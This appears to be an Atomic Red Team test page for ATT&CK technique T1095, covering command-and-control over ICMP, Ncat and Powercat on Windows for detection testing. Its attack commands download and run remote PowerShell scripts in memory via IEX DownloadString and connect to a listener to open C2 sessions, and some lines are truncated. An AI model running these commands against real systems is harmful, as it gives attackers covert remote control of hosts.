T1095 - Non-Application Layer Protocol

Description from ATT&CK

> Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
> ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Atomic Tests

- Atomic Test #1 - ICMP C2

Atomic Test #1 - ICMP C2

This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/

Supported Platforms: Windows

auto_generated_guid: 0268e63c-e244-42db-bef7-72a9e59fc1fc

Inputs:

Name	Description	Type	Default Value
server_ip	The IP address of the listening server	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubuserconten
Invoke-PowerShellIcmp -IPAddress #{server_ip}
```

Atomic Test #2 - Netcat C2

Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -l -p

Supported Platforms: Windows

auto_generated_guid: bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37

Inputs:

Name	Description	Type	Default Value
server_port	The port for the C2 connection	Integer	80
ncat_exe	The location of ncat.exe	Path	$env:TEMP\T1095\nmap-7.80\ncat.exe
ncat_path	The folder path of ncat.exe	Path	$env:TEMP\T1095
server_ip	The IP address or domain name of the listening server	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
cmd /c #{ncat_exe} #{server_ip} #{server_port}
```

Dependencies: Run with `powershell`!

Description: ncat.exe must be available at specified location (#{ncat_exe})

Check Prereq Commands:

```
if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory -Force -Path #{ncat_path} | Out-Null
$parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.
Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
  Expand-Archive $zippath $parentpath -Force
  $unzipPath = Join-Path $parentPath "nmap-7.80"
if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Un
  Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
}
```

Atomic Test #3 - Powercat C2

Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -l -p

Supported Platforms: Windows

auto_generated_guid: 3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e

Inputs:

Name	Description	Type	Default Value
server_ip	The IP address or domain name of the listening server	String	127.0.0.1
server_port	The port for the C2 connection	Integer	80

Attack Commands: Run with `powershell`!

```
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubuserconten
powercat -c #{server_ip} -p #{server_port}
```